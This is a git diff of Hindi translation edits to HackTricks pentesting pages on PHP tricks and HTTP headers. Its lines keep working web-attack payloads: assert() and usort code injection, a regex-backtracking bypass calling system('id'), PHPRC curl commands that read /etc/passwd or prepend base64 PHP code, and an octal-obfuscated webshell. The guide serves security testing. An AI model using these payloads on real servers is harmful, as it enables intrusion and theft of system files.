[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index d29e639ec..37956ac7e 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -6,7 +6,7 @@ यह phpMyAdmin कुकीज़ के लिए भी मान्य है। -कुकीज़: +Cookies: ``` PHPSESSID phpMyAdmin @@ -20,7 +20,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` ## PHP तुलना को बायपास करना -### ढीली तुलना/टाइप जुग्लिंग ( == ) +### ढीली तुलना/टाइप जुगलिंग ( == ) यदि PHP में `==` का उपयोग किया जाता है, तो कुछ अप्रत्याशित मामलों में तुलना अपेक्षित रूप से व्यवहार नहीं करती है। इसका कारण यह है कि "==" केवल उन मूल्यों की तुलना करता है जो समान प्रकार में परिवर्तित होते हैं, यदि आप यह भी तुलना करना चाहते हैं कि तुलना किए गए डेटा का प्रकार समान है, तो आपको `===` का उपयोग करना होगा। @@ -32,8 +32,8 @@ PHP तुलना तालिकाएँ: [https://www.php.net/manual/en/typ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf {{#endfile}} -- `"string" == 0 -> True` एक स्ट्रिंग जो संख्या से शुरू नहीं होती है, वह एक संख्या के बराबर होती है -- `"0xAAAA" == "43690" -> True` संख्याओं से बनी स्ट्रिंग जो दशमलव या हेक्स प्रारूप में होती है, अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है, यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं) +- `"string" == 0 -> True` एक स्ट्रिंग जो संख्या से शुरू नहीं होती है, वह संख्या के बराबर होती है +- `"0xAAAA" == "43690" -> True` दशमलव या हेक्स प्रारूप में संख्याओं से बनी स्ट्रिंग्स अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती हैं, यदि संख्याएँ समान थीं तो परिणाम True होगा (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं) - `"0e3264578" == 0 --> True` एक स्ट्रिंग जो "0e" से शुरू होती है और उसके बाद कुछ भी होता है, वह 0 के बराबर होगी - `"0X3264578" == 0X --> True` एक स्ट्रिंग जो "0" से शुरू होती है और उसके बाद कोई भी अक्षर (X कोई भी अक्षर हो सकता है) और उसके बाद कुछ भी होता है, वह 0 के बराबर होगी - `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जो हैश की जा रही है और इसकी तुलना की जा रही है। इसलिए, यदि आप एक ऐसा मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाए और बिना किसी अक्षर के, तो आप तुलना को बायपास कर सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) @@ -43,7 +43,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf ### **in_array()** -**टाइप जुग्लिंग** डिफ़ॉल्ट रूप से `in_array()` फ़ंक्शन को भी प्रभावित करता है (आपको सख्त तुलना करने के लिए तीसरे तर्क को सत्य पर सेट करना होगा): +**टाइप जुगलिंग** डिफ़ॉल्ट रूप से `in_array()` फ़ंक्शन को भी प्रभावित करता है (आपको सख्त तुलना करने के लिए तीसरे तर्क को true पर सेट करना होगा): ```php $values = array("apple","orange","pear","grape"); var_dump(in_array(0, $values)); @@ -64,7 +64,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ### सख्त प्रकार जुगलिंग -यहां तक कि यदि `===` **का उपयोग किया जा रहा है**, तब भी ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को प्रकार जुगलिंग के लिए संवेदनशील** बना देती हैं। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार की वस्तु में परिवर्तित कर रही है**: +यहां तक कि यदि `===` का **उपयोग किया जा रहा है**, तब भी ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को प्रकार जुगलिंग के लिए संवेदनशील** बना देती हैं। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` @@ -74,7 +74,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real #### नई पंक्ति बायपास -हालांकि, जब regexp के प्रारंभ को सीमित किया जाता है, `preg_match()` **केवल उपयोगकर्ता इनपुट की पहली पंक्ति** की **जांच** करता है, फिर यदि किसी तरह आप **कई पंक्तियों** में इनपुट **भेज** सकते हैं, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण: +हालांकि, जब regexp`preg_match()` के प्रारंभ को सीमित किया जाता है, तो यह **केवल उपयोगकर्ता इनपुट** की पहली पंक्ति की **जांच** करता है, फिर यदि किसी तरह आप **कई पंक्तियों** में इनपुट **भेज** सकते हैं, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -इस जांच को बायपास करने के लिए आप **नए लाइनों के साथ urlencoded मान भेज सकते हैं** (`%0A`) या यदि आप **JSON डेटा** भेज सकते हैं, तो इसे **कई लाइनों में** भेजें: +इस जांच को बायपास करने के लिए आप **नए लाइनों के साथ URL-encoded मान भेज सकते हैं** (`%0A`) या यदि आप **JSON डेटा** भेज सकते हैं, तो इसे **कई लाइनों में** भेजें: ```php { "cmd": "cat /etc/passwd" @@ -112,15 +112,15 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf- संक्षेप में, समस्या इस कारण होती है क्योंकि PHP में `preg_*` फ़ंक्शन [PCRE लाइब्रेरी](http://www.pcre.org/) पर आधारित होते हैं। PCRE में कुछ नियमित अभिव्यक्तियों को बहुत सारे पुनरावृत्त कॉल का उपयोग करके मिलाया जाता है, जो बहुत अधिक स्टैक स्पेस का उपयोग करता है। पुनरावृत्तियों की अनुमति की गई मात्रा पर एक सीमा निर्धारित करना संभव है, लेकिन PHP में यह सीमा [डिफ़ॉल्ट रूप से 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) होती है, जो स्टैक में फिट होने से अधिक है। -[यह Stackoverflow थ्रेड](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) भी उस पोस्ट में लिंक किया गया था जहाँ इस मुद्दे के बारे में अधिक गहराई से चर्चा की गई थी। हमारा कार्य अब स्पष्ट था:\ +[यह Stackoverflow थ्रेड](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) भी उस पोस्ट में लिंक किया गया था जहाँ इस मुद्दे के बारे में अधिक गहराई से बात की गई है। हमारा कार्य अब स्पष्ट था:\ **एक इनपुट भेजें जो regex को 100_000+ पुनरावृत्तियों करने के लिए मजबूर करे, जिससे SIGSEGV हो, जिससे `preg_match()` फ़ंक्शन `false` लौटाए और इस प्रकार एप्लिकेशन को यह सोचने पर मजबूर करे कि हमारा इनपुट दुर्भावनापूर्ण नहीं है, अंत में पे लोड में कुछ ऐसा फेंकते हुए `{system()}` जिससे SSTI --> RCE --> ध्वज :)**। -खैर, regex के संदर्भ में, हम वास्तव में 100k "पुनरावृत्तियों" को नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जो [PHP दस्तावेज़](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) के अनुसार `pcre.backtrack_limit` चर में डिफ़ॉल्ट रूप से 1_000_000 (1M) होता है।\ +खैर, regex के संदर्भ में, हम वास्तव में 100k "पुनरावृत्तियों" नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जो [PHP दस्तावेज़](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) के अनुसार `pcre.backtrack_limit` चर में डिफ़ॉल्ट रूप से 1_000_000 (1M) होता है।\ इस तक पहुँचने के लिए, `'X'*500_001` 1 मिलियन बैकट्रैकिंग स्टेप्स (500k आगे और 500k पीछे) का परिणाम देगा: ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### PHP ओब्फ़स्केशन के लिए टाइप जुगलिंग +### PHP ओब्फ़स्केशन के लिए टाइप जुग्लिंग ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -143,22 +143,22 @@ header('Location: /index.php?page=default.html'); readfile($page); ?> ``` -## पथ ट्रैवर्सल और फ़ाइल समावेशन शोषण +## पथ ट्रैवर्सल और फ़ाइल समावेश शोषण -Check: +जांचें: {{#ref}} ../../../pentesting-web/file-inclusion/ {{#endref}} -## और ट्रिक्स +## अधिक तरकीबें -- **register_globals**: **PHP < 4.1.1.1** में या यदि गलत कॉन्फ़िगर किया गया हो, तो **register_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका मतलब है कि वैश्विक चर जैसे $\_GET में यदि उनका मान है जैसे $\_GET\["param"]="1234", आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन चर को ओवरराइट कर सकते हैं** जो कोड के भीतर उपयोग किए जाते हैं। +- **register_globals**: **PHP < 4.1.1.1** में या यदि गलत कॉन्फ़िगर किया गया हो, तो **register_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका मतलब है कि वैश्विक चर जैसे $\_GET में यदि उनका मान है जैसे $\_GET\["param"]="1234", तो आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन चर को ओवरराइट कर सकते हैं** जो कोड के भीतर उपयोग किए जाते हैं। - **एक ही डोमेन के PHPSESSION कुकीज़ एक ही स्थान पर संग्रहीत होते हैं**, इसलिए यदि एक डोमेन में **विभिन्न कुकीज़ विभिन्न पथों में उपयोग की जाती हैं** तो आप उस पथ को बना सकते हैं **जो कुकी को उस पथ का एक्सेस करता है** जो दूसरे पथ कुकी के मान को सेट करता है।\ -इस तरह यदि **दोनों पथ एक ही नाम के साथ एक चर को एक्सेस करते हैं** तो आप **path1 में उस चर का मान path2 पर लागू कर सकते हैं**। और फिर path2 path1 के चर को वैध मान लेगा (कुकी को उस नाम के साथ देने से जो path2 में उसके अनुरूप है)। +इस तरह यदि **दोनों पथ एक ही नाम के साथ एक चर को एक्सेस करते हैं** तो आप **path1 में उस चर का मान path2 पर लागू कर सकते हैं**। और फिर path2 path1 के चर को मान्य के रूप में लेगा (कुकी को उस नाम के साथ देने से जो path2 में इसके लिए संबंधित है)। - जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** होते हैं। पता जांचें: **/\~\** यह देखने के लिए कि क्या php निर्देशिकाएँ सक्रिय हैं। -- यदि एक php कॉन्फ़िगरेशन में **`register_argc_argv = On`** है तो स्पेस द्वारा अलग किए गए क्वेरी पैरामीटर को तर्कों के ऐरे को भरने के लिए उपयोग किया जाता है **`array_keys($_SERVER['argv'])`** जैसे कि वे **CLI से तर्क होते**। यह दिलचस्प है क्योंकि यदि वह **सेटिंग बंद है**, तो **args ऐरे का मान `Null`** होगा जब इसे वेब से कॉल किया जाएगा क्योंकि ars arry नहीं भरा जाएगा। इसलिए, यदि एक वेब पृष्ठ यह जांचने की कोशिश करता है कि क्या यह वेब के रूप में चल रहा है या CLI टूल के रूप में एक तुलना के साथ जैसे `if (empty($_SERVER['argv'])) {` एक हमलावर **GET अनुरोध में पैरामीटर भेज सकता है जैसे `?--configPath=/lalala`** और यह सोचेगा कि यह CLI के रूप में चल रहा है और संभावित रूप से उन तर्कों को पार्स और उपयोग करेगा। अधिक जानकारी के लिए [मूल लेख](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) में। -- [**LFI और RCE php wrappers का उपयोग करके**](../../../pentesting-web/file-inclusion/index.html) +- यदि एक php कॉन्फ़िगरेशन में **`register_argc_argv = On`** है तो स्पेस द्वारा अलग किए गए क्वेरी पैरामीटर का उपयोग **`array_keys($_SERVER['argv'])`** के तर्कों के ऐरे को भरने के लिए किया जाता है जैसे कि वे **CLI से तर्क** हों। यह दिलचस्प है क्योंकि यदि वह **सेटिंग बंद है**, तो **args ऐरे का मान `Null`** होगा जब इसे वेब से कॉल किया जाएगा क्योंकि ars arry भरा नहीं जाएगा। इसलिए, यदि एक वेब पृष्ठ यह जांचने की कोशिश करता है कि क्या यह वेब के रूप में चल रहा है या CLI टूल के रूप में एक तुलना के साथ जैसे `if (empty($_SERVER['argv'])) {` एक हमलावर **GET अनुरोध में पैरामीटर भेज सकता है जैसे `?--configPath=/lalala`** और यह सोचेगा कि यह CLI के रूप में चल रहा है और संभावित रूप से उन तर्कों को पार्स और उपयोग करेगा। अधिक जानकारी के लिए [मूल लेख](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) में। +- [**LFI और RCE का उपयोग करते हुए php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -177,7 +177,7 @@ True From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) आप देख सकते हैं कि 1000 से अधिक GET params या 1000 POST params या 20 फाइलें भेजने पर, PHOP प्रतिक्रिया में हेडर सेट नहीं करेगा। -उदाहरण के लिए CSP हेडर को कोड में सेट करने के लिए बायपास करने की अनुमति देता है: +उदाहरण के लिए CSP हेडर को बायपास करने की अनुमति देता है जो कोड में सेट किए गए हैं: ```php ) @@ -194,6 +194,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; पृष्ठ की जांच करें: + {{#ref}} php-ssrf.md {{#endref}} @@ -224,12 +225,12 @@ preg_replace का यह विकल्प **PHP 5.5.0 से हटा द ``` ### **RCE via Assert()** -यह php के भीतर एक फ़ंक्शन है जो आपको **एक स्ट्रिंग में लिखे गए कोड को निष्पादित करने** की अनुमति देता है ताकि **सत्य या असत्य लौटाया जा सके** (और इसके आधार पर निष्पादन को बदल सके)। आमतौर पर उपयोगकर्ता चर को एक स्ट्रिंग के बीच में डाला जाएगा। उदाहरण के लिए:\ +यह फ़ंक्शन php के भीतर आपको **एक स्ट्रिंग में लिखे गए कोड को निष्पादित करने** की अनुमति देता है ताकि **सत्य या असत्य लौटाया जा सके** (और इसके आधार पर निष्पादन को बदल सके)। आमतौर पर उपयोगकर्ता चर को एक स्ट्रिंग के बीच में डाला जाएगा। उदाहरण के लिए:\ `assert("strpos($_GET['page']),'..') === false")` --> इस मामले में **RCE** प्राप्त करने के लिए आप कर सकते हैं: ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -आपको **कोड** **सिंटैक्स** को **तोड़ना**, अपना **पेलोड** **जोड़ना**, और फिर **इसे फिर से ठीक करना** होगा। आप **लॉजिक ऑपरेशंस** जैसे "**and" या "%26%26" या "|"** का उपयोग कर सकते हैं। ध्यान दें कि "or", "||" काम नहीं करता क्योंकि यदि पहली शर्त सत्य है तो हमारा पेलोड निष्पादित नहीं होगा। इसी तरह ";" काम नहीं करता क्योंकि हमारा पेलोड निष्पादित नहीं होगा। +आपको **कोड** **सिंटैक्स** को **तोड़ना**, अपना **पेलोड** **जोड़ना**, और फिर **इसे फिर से ठीक करना** होगा। आप **लॉजिक ऑपरेशंस** का उपयोग कर सकते हैं जैसे "**and" या "%26%26" या "|"**। ध्यान दें कि "or", "||" काम नहीं करता क्योंकि यदि पहली शर्त सत्य है तो हमारा पेलोड निष्पादित नहीं होगा। इसी तरह ";" काम नहीं करता क्योंकि हमारा पेलोड निष्पादित नहीं होगा। **दूसरा विकल्प** है कि स्ट्रिंग में कमांड का निष्पादन जोड़ें: `'.highlight_file('.passwd').'` @@ -262,28 +263,28 @@ usort();}phpinfo;#, "cmp"); आपको बंद करने के लिए आवश्यक कोष्ठकों की संख्या खोजने के लिए: -- `?order=id;}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ';'`). शायद हमें एक या अधिक ब्रैकेट्स की कमी है। +- `?order=id;}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ';'`). शायद हम एक या अधिक कोष्ठक खो रहे हैं। - `?order=id);}//`: हमें एक **चेतावनी** मिलती है। यह सही लगता है। -- `?order=id));}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ')' i`). शायद हमारे पास बहुत अधिक बंद ब्रैकेट्स हैं। +- `?order=id));}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ')' i`). शायद हमारे पास बहुत अधिक बंद कोष्ठक हैं। ### **RCE via .httaccess** -यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजों को **कॉन्फ़िगर** कर सकते हैं और यहां तक कि कोड भी निष्पादित कर सकते हैं (यह कॉन्फ़िगर करते समय कि .htaccess एक्सटेंशन वाले फ़ाइलों को **निष्पादित** किया जा सकता है)। +यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजों को **कॉन्फ़िगर** कर सकते हैं और यहां तक कि कोड भी निष्पादित कर सकते हैं (यह कॉन्फ़िगर करते समय कि .htaccess वाले फ़ाइलों को **निष्पादित** किया जा सकता है)। विभिन्न .htaccess शेल [यहां](https://github.com/wireghoul/htshells) मिल सकते हैं। ### RCE via Env Variables -यदि आप एक भेद्यता पाते हैं जो आपको **PHP में env वेरिएबल्स को संशोधित** करने की अनुमति देती है (और एक और फ़ाइल अपलोड करने की अनुमति देती है, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं। +यदि आप एक ऐसी भेद्यता पाते हैं जो आपको **PHP में env वेरिएबल्स को संशोधित** करने की अनुमति देती है (और एक और फ़ाइल अपलोड करने की अनुमति देती है, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं। - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): यह env वेरिएबल आपको अन्य बाइनरीज़ को निष्पादित करते समय मनमाने लाइब्रेरीज़ लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता)। - **`PHPRC`** : PHP को **इसके कॉन्फ़िगरेशन फ़ाइल को कहां ढूंढना है** यह निर्देशित करता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी खुद की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसरा फ़ाइल सामान्य **PHP कोड है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**। 1. हमारे शेलकोड वाला एक PHP फ़ाइल अपलोड करें -2. एक दूसरा फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को चरण 1 में अपलोड की गई फ़ाइल को निष्पादित करने के लिए निर्देशित करता है -3. `PHPRC` वेरिएबल को चरण 2 में अपलोड की गई फ़ाइल पर सेट करें। -- इस श्रृंखला को निष्पादित करने के बारे में अधिक जानकारी [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/) प्राप्त करें। +2. एक दूसरा फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को बताता है कि चरण 1 में अपलोड की गई फ़ाइल को निष्पादित करें +3. `PHPRC` वेरिएबल को उस फ़ाइल पर सेट करें जिसे हमने चरण 2 में अपलोड किया था। +- इस श्रृंखला को निष्पादित करने के बारे में अधिक जानकारी प्राप्त करें [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)। - **PHPRC** - एक और विकल्प -- यदि आप **फ़ाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` पर भेजे गए अनुरोध का **शरीर** है: +- यदि आप **फ़ाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फ़ाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` पर भेजे गए अनुरोध का **शरीर** है: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - या RCE प्राप्त करने के लिए, **`allow_url_include`** सक्षम करें और **base64 PHP कोड** के साथ एक फ़ाइल को प्रीपेंड करें: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` @@ -337,7 +338,7 @@ PHP रैपर और प्रोटोकॉल आपको एक सि ## Xdebug बिना प्रमाणीकरण वाला RCE -यदि आप देखते हैं कि **Xdebug** `phpconfig()` आउटपुट में **सक्षम** है, तो आपको [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) के माध्यम से RCE प्राप्त करने का प्रयास करना चाहिए। +यदि आप देखते हैं कि `phpconfig()` आउटपुट में **Xdebug** **सक्षम** है, तो आपको [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) के माध्यम से RCE प्राप्त करने का प्रयास करना चाहिए। ## वेरिएबल वेरिएबल्स ```php @@ -359,11 +360,11 @@ echo "$x ${Da}"; //Da Drums php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {{#endref}} -## बिना अक्षरों के PHP निष्पादित करें +## Execute PHP without letters [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) -### ऑक्टल का उपयोग करना +### Using octal ```php $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd); ``` diff --git a/src/network-services-pentesting/pentesting-web/python.md b/src/network-services-pentesting/pentesting-web/python.md index a4fdb8915..a36d8c258 100644 --- a/src/network-services-pentesting/pentesting-web/python.md +++ b/src/network-services-pentesting/pentesting-web/python.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## सर्वर का उपयोग करते हुए python +## सर्वर का उपयोग करते हुए पायथन संभावित **कोड निष्पादन** का परीक्षण करें, _str()_ फ़ंक्शन का उपयोग करते हुए: ```python @@ -10,14 +10,17 @@ ``` ### Tricks + {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md {{#endref}} + {{#ref}} ../../pentesting-web/ssti-server-side-template-injection/README.md {{#endref}} + {{#ref}} ../../pentesting-web/deserialization/README.md {{#endref}} diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 50990daa2..fdacb0e11 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -35,7 +35,7 @@ ## हॉप-बाय-हॉप हेडर -एक हॉप-बाय-हॉप हेडर एक ऐसा हेडर है जिसे वर्तमान में अनुरोध को संभालने वाले प्रॉक्सी द्वारा संसाधित और उपभोग करने के लिए डिज़ाइन किया गया है, न कि एक एंड-टू-एंड हेडर। +एक हॉप-बाय-हॉप हेडर एक हेडर है जिसे वर्तमान में अनुरोध को संभालने वाले प्रॉक्सी द्वारा संसाधित और उपभोग करने के लिए डिज़ाइन किया गया है, न कि एक एंड-टू-एंड हेडर। - `Connection: close, X-Forwarded-For` @@ -59,7 +59,7 @@ - **`X-Cache`** में प्रतिक्रिया का मान **`miss`** हो सकता है जब अनुरोध कैश नहीं किया गया था और मान **`hit`** हो सकता है जब इसे कैश किया गया है - हेडर **`Cf-Cache-Status`** में समान व्यवहार - **`Cache-Control`** यह संकेत करता है कि क्या एक संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800` -- **`Vary`** अक्सर प्रतिक्रिया में **अतिरिक्त हेडर** को **कैश कुंजी का हिस्सा** के रूप में संकेत करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः अनकीड न हों। +- **`Vary`** अक्सर प्रतिक्रिया में **अतिरिक्त हेडर** को **कैश कुंजी का हिस्सा** के रूप में संकेत करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों। - **`Age`** उस समय को परिभाषित करता है जो वस्तु प्रॉक्सी कैश में रही है। - **`Server-Timing: cdn-cache; desc=HIT`** यह भी संकेत करता है कि एक संसाधन कैश किया गया था @@ -72,7 +72,7 @@ - `Clear-Site-Data`: हेडर जो संकेत करता है कि कैश को हटाया जाना चाहिए: `Clear-Site-Data: "cache", "cookies"` - `Expires`: उस दिनांक/समय को शामिल करता है जब प्रतिक्रिया समाप्त होनी चाहिए: `Expires: Wed, 21 Oct 2015 07:28:00 GMT` - `Pragma: no-cache` `Cache-Control: no-cache` के समान -- `Warning`: सामान्य HTTP हेडर **`Warning`** संदेश की स्थिति के साथ संभावित समस्याओं के बारे में जानकारी प्रदान करता है। एक प्रतिक्रिया में एक से अधिक `Warning` हेडर दिखाई दे सकते हैं। `Warning: 110 anderson/1.3.37 "Response is stale"` +- `Warning`: **`Warning`** सामान्य HTTP हेडर संदेश की स्थिति के साथ संभावित समस्याओं के बारे में जानकारी प्रदान करता है। एक प्रतिक्रिया में एक से अधिक `Warning` हेडर दिखाई दे सकते हैं। `Warning: 110 anderson/1.3.37 "Response is stale"` ## शर्तें @@ -85,7 +85,7 @@ - **`Accept-Ranges`**: संकेत करता है कि क्या सर्वर रेंज अनुरोधों का समर्थन करता है, और यदि हां, तो रेंज को किस इकाई में व्यक्त किया जा सकता है। `Accept-Ranges: ` - **`Range`**: उस दस्तावेज़ के भाग को इंगित करता है जिसे सर्वर को लौटाना चाहिए। उदाहरण के लिए, `Range:80-100` मूल प्रतिक्रिया के 80 से 100 बाइट्स को 206 Partial Content स्थिति कोड के साथ लौटाएगा। अनुरोध से `Accept-Encoding` हेडर को हटाना भी याद रखें। - यह एक प्रतिक्रिया प्राप्त करने के लिए उपयोगी हो सकता है जिसमें मनमाने रूप से परावर्तित जावास्क्रिप्ट कोड हो जो अन्यथा बचाया जा सकता है। लेकिन इसका दुरुपयोग करने के लिए आपको अनुरोध में ये हेडर इंजेक्ट करने की आवश्यकता होगी। -- **`If-Range`**: एक शर्तीय रेंज अनुरोध बनाता है जो केवल तब पूरा होता है जब दिया गया etag या तिथि दूरस्थ संसाधन से मेल खाती है। असंगत संसाधन के संस्करणों से दो रेंज डाउनलोड करने से रोकने के लिए उपयोग किया जाता है। +- **`If-Range`**: एक शर्तीय रेंज अनुरोध बनाता है जो केवल तब पूरा होता है जब दिया गया etag या तिथि दूरस्थ संसाधन से मेल खाती है। इसका उपयोग संसाधन के असंगत संस्करणों से दो रेंज डाउनलोड करने से रोकने के लिए किया जाता है। - **`Content-Range`**: यह इंगित करता है कि एक पूर्ण शरीर संदेश में एक आंशिक संदेश कहाँ संबंधित है। ## संदेश शरीर की जानकारी @@ -99,7 +99,7 @@ पेंटेस्ट के दृष्टिकोण से यह जानकारी आमतौर पर "व्यर्थ" होती है, लेकिन यदि संसाधन **401** या **403** द्वारा **संरक्षित** है और आप इस **जानकारी** को **प्राप्त करने** का कोई **तरीका** खोज सकते हैं, तो यह **दिलचस्प** हो सकता है।\ उदाहरण के लिए, एक HEAD अनुरोध में **`Range`** और **`Etag`** का संयोजन पृष्ठ की सामग्री को HEAD अनुरोधों के माध्यम से लीक कर सकता है: -- `Range: bytes=20-20` हेडर के साथ एक अनुरोध और एक प्रतिक्रिया जिसमें `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` है, यह लीक कर रहा है कि बाइट 20 का SHA1 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` है +- `Range: bytes=20-20` हेडर के साथ एक अनुरोध और एक प्रतिक्रिया जिसमें `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` है यह लीक कर रहा है कि बाइट 20 का SHA1 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` है। ## सर्वर जानकारी @@ -109,15 +109,15 @@ ## नियंत्रण - **`Allow`**: यह हेडर यह संप्रेषित करने के लिए उपयोग किया जाता है कि एक संसाधन कौन से HTTP विधियों को संभाल सकता है। उदाहरण के लिए, इसे `Allow: GET, POST, HEAD` के रूप में निर्दिष्ट किया जा सकता है, जो इंगित करता है कि संसाधन इन विधियों का समर्थन करता है। -- **`Expect`**: क्लाइंट द्वारा उपयोग किया जाता है ताकि अनुरोध को सफलतापूर्वक संसाधित करने के लिए सर्वर को जो अपेक्षाएँ पूरी करनी चाहिए, उन्हें संप्रेषित किया जा सके। एक सामान्य उपयोग मामला `Expect: 100-continue` हेडर से संबंधित है, 